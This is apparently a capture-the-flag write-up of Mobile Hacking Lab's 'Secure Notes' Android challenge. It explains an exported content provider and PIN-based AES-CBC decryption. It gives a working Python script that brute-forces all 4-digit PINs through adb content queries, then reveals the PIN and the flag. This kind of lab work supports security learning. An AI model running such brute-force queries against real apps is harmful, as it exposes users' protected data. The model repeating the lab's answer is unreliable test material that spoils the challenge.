Mobile Hacking Lab - Secure Notes
Deciphering the Secured Content Provider: A Mobile Hacking Lab CTF Challenge
When it comes to mobile app security, think of Android Content Providers as the gatekeepers controlling access to certain data. They’re not just about making it easy for apps to share data; they also make sure that data stays safe and sound. The challenge thrown down by the Mobile Hacking Lab, all about an “insecure Content Provider,” is like catnip for security geeks. It’s a perfect chance to sharpen those hacking skills in a real-world setting. This article explores the complex process of hacking into a PIN-protected content provider, highlighting the fine line between strengthening security and overcoming barriers.
The Challenge Overview
The challenge is pretty straightforward: crack the PIN code stored in the content provider of an Android app called “Secure Notes.” But don’t think it’s just a walk in the park. It’s gonna take some serious brainpower and strategic thinking to decrypt that PIN.
For those interested in tackling this challenge, it is recommended to first experience the lab directly by visiting the “Secure Notes Lab” provided by Mobile Hacking Lab. You can find it at Mobile Hacking Lab - Secure Notes. Getting hands-on with the lab gives you a real feel for how Android security works!
The Secure Notes application:
Unearthing Clues: Discovery Phase
Upon initial engagement, the Secure Notes application requests a PIN entry and indicates each submission as incorrect. This immediate block suggests the importance to investigate the application’s architecture, specifically the AndroidManifest.xml. This document uncovers two providers and a receiver within the application. The provider identified as com.mobilehackinglab.securenotes.SecretDataProvider is highlighted as the focal point of this challenge due to its android:exported="true" attribute, indicating that it can be accessed by external queries.
Decoding the SecretDataProvider
An examination of the MainActivity.java file, using JADX, reveals the querySecretProvider(string) function. Despite not being fully decompiled, it offers significant insight into how the application processes PIN verification. Activation of this function occurs upon the submission of a PIN, which then shifts attention to the content provider’s URI: content://com.mobilehackinglab.securenotes.secretprovider.
The method named querySecretProvider that takes a single argument, a String (referred to as r9 in the method signature), which is presumably the PIN code to be verified against a content provider in an Android application. The method outlines the initial steps to construct a query URI targeting a specific content provider and prepare it for querying with a PIN code. Here’s a breakdown of its components:
Define Content Provider URI:
java.lang.String r0 = "content://com.mobilehackinglab.securenotes.secretprovider": This line declares a String variable r0, initializing it with the URI of the content provider. The URI is formatted according to Android’s standard for content provider URIs, indicating that this content provider belongs to the com.mobilehackinglab.securenotes.secretprovider authority.
android.net.Uri r0 = android.net.Uri.parse(r0): Parses the string URI into an android.net.Uri object for use with Android’s content resolver system.
Construct Query with PIN Parameter:
A StringBuilder instance is created to dynamically build the query string.
"pin=" is appended to the StringBuilder object, followed by appending the PIN code (r9). This constructs the query part of the URI, indicating a parameter named “pin” and its value provided by r9.
The resulting query string is stored in r7, ready to be used in querying the content provider.
Prepare for Query Execution:
android.content.ContentResolver r1 = r8.getContentResolver(): Obtains an instance of ContentResolver from the current context (this, referred to as r8 in the code). The ContentResolver is a key component in Android for interacting with content providers.
The variables r3, r5, and r6 are initialized with null. These likely represent placeholders for the projection (r3), selection arguments (r5), and sort order (r6) that might be used in a subsequent query method call to the ContentResolver.
To summarize, the final content provider url would look something like:
content://com.mobilehackinglab.securenotes.secretprovider/pin=
Insights from DecryptSecret Function
The decryptSecret() method is a fundamental aspect of the application’s security framework, using the Advanced Encryption Standard (AES) in Cipher Block Chaining (CBC) mode for decryption. This method incorporates the user-supplied PIN code as element in the cryptographic key generation process, highlighting the PIN’s integral role in accessing protected data.
Key to this decryption process is the config.properties file, located within the application’s assets directory. This configuration file contains vital cryptographic parameters necessary for the decryption operation. Let’s go over the onCreate function:
Initialization and Asset Management
Access to AssetManager: The method begins by obtaining an AssetManager instance through the application’s context. AssetManager is used for accessing application assets bundled with the app’s APK.
Opening config.properties: It then attempts to open the config.properties file located in the assets directory.
Content of the config.properties file, located within the application’s assets directory:
Initialization Vector (IV): The IV is for the AES-CBC encryption mode, ensuring that identical plaintext blocks are encrypted into ciphertext blocks in different encryption instances. This parameter aids in preserving data confidentiality and integrity by introducing randomness into the encryption process.
Salt: The salt parameter enhances the security of the key derivation process. By combining the user-supplied PIN with this random data, the application mitigates risks associated with precomputed hash attacks (rainbow table attacks), ensuring that the same PIN will have different encryption keys across different instances.
Iteration Count: This parameter specifies the number of iterations to be used in the key derivation function. A higher iteration count increases the computational work required to derive the encryption key from the PIN and salt, effectively strengthening the encryption scheme against brute-force attacks by making them more time-consuming and computationally expensive.
Within the decryptSecret() function, these parameters—loaded from config.properties and appropriately decoded—are employed to establish the decryption environment. The method initiates by configuring a `Cipher instance for AES-CBC-PKCS5Padding, a standard padding scheme that adjusts the plaintext to a proper block size for AES. It then proceeds to generate a secret key from the user-provided PIN using a secure key derivation function, which likely incorporates the salt and iteration count to produce a robust cryptographic key.
This generated key, along with the IV, is used to start the Cipher in decryption mode. The method then attempts to decrypt the encrypted data (the “encrypted secret”) using these cryptographic elements. Upon successful decryption, the method converts the resulting byte array into a string using UTF-8 encoding, revealing the original plaintext data.
Brute Force with Elegance
With an understanding of how the PIN is used in querying the content provider, a structured approach to systematically test each potential PIN make sense. To automate this process, I built a short Ptyhon script to involves iterating through a predefined range of PIN values, typically 0000 to 9999 for a four-digit PIN, and programmatically submitting each one as part of the query to the content provider.
The script leverage the subprocess module to execute adb shell commands, allowing for interaction with the Android device’s content provider. For each iteration, the script constructs a command that incorporates the content://com.mobilehackinglab.securenotes.secretprovider/pin=? URI, replacing the placeholder with the current PIN guess.
The application’s response to each query must be analyzed. Unlike straightforward validation mechanisms that immediately deny access upon receiving an incorrect PIN, this application performs a decryption operation using the provided PIN. This implies that the application’s response varies depending on whether the decryption process, influenced by the input PIN, succeeds or fails. Also, the script must include logic to interpret the outcomes of each query, making difference between unsuccessful attempts and potential correct PINs based on the application’s response.
To identify the correct PIN among the various outputs, the script look for specific patterns of successful decryption. This approach necessitates an understanding of the expected data format upon successful access, which may involve recognizable plaintext that would only appear if the correct PIN is provided.
import subprocess
# This command specifies the URI of the content provider and begins the WHERE clause for the query.
base_command = "adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider/pin --where pin="
# Define a function to execute system commands and capture their output.
def execute_command(command):
try:
# Execute the given command using the subprocess module, which allows interaction with the system shell.
# 'check_output' runs the command and returns its output. 'stderr=subprocess.STDOUT' redirects stderr to stdout.
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
# Decode the binary output to a UTF-8 string and return it.
return output.decode('utf-8')
except subprocess.CalledProcessError as e:
# If the command execution fails, catch the exception and decode its output to UTF-8, then return it.
# This exception occurs when a process returns a non-zero exit status.
return e.output.decode('utf-8')
# Begin a brute-force attack by iterating over all possible 4-digit PINs (from 0000 to 9999).
for pin in range(10000): # Define the range for PIN numbers.
pin_str = f"'{pin:04d}'" # Convert the PIN number to a formatted string with leading zeros (4 digits).
# Combine the base command with the current PIN string to form the complete command for execution.
full_command = base_command + pin_str
# Execute the formed command using the defined function and store the result.
result = execute_command(full_command)
# Output the current PIN being tried to the console for tracking purposes.
print(f"Trying PIN: {pin_str}")
# Check if the result of the command does not contain "No result found", which indicates a potential correct PIN.
if "No result found" not in result:
# If a potential correct PIN is found, print the PIN and the command's output result and continue brute-force.
print(f"PIN Found: {pin_str}")
print(f"Result: {result}")
else:
print("Failed to find the PIN.")
The Moment of Triumph
Persisting through brute force for all potential PINs up to 9999, we finally get the plain English output at PIN 2580, unveiling the flag: CTF{D1d_y0u_gu3ss_1t!1?}.
Exploiting the Vulnerability
A hypothetical malicious application could leverage an ADB command to query the vulnerable content provider directly, illustrating the risks posed by insecure content provider configurations.
adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider/ --where "pin=2580"
We can also enter the pin in the application itself:
Conclusion
From dissecting the app’s structure to cracking the code in the decryptSecret() function, this challenge was a full-on exploration of how the app protects its data.
We saw how AES-CBC encryption and cryptographic parameters play a role in keeping sensitive info safe. And let’s not forget the brute-force method we used with that Python script – it hammered home the importance of tight security practices and staying alert to potential weaknesses.
Thank you Mobile Hacking Lab for this awesome challenge!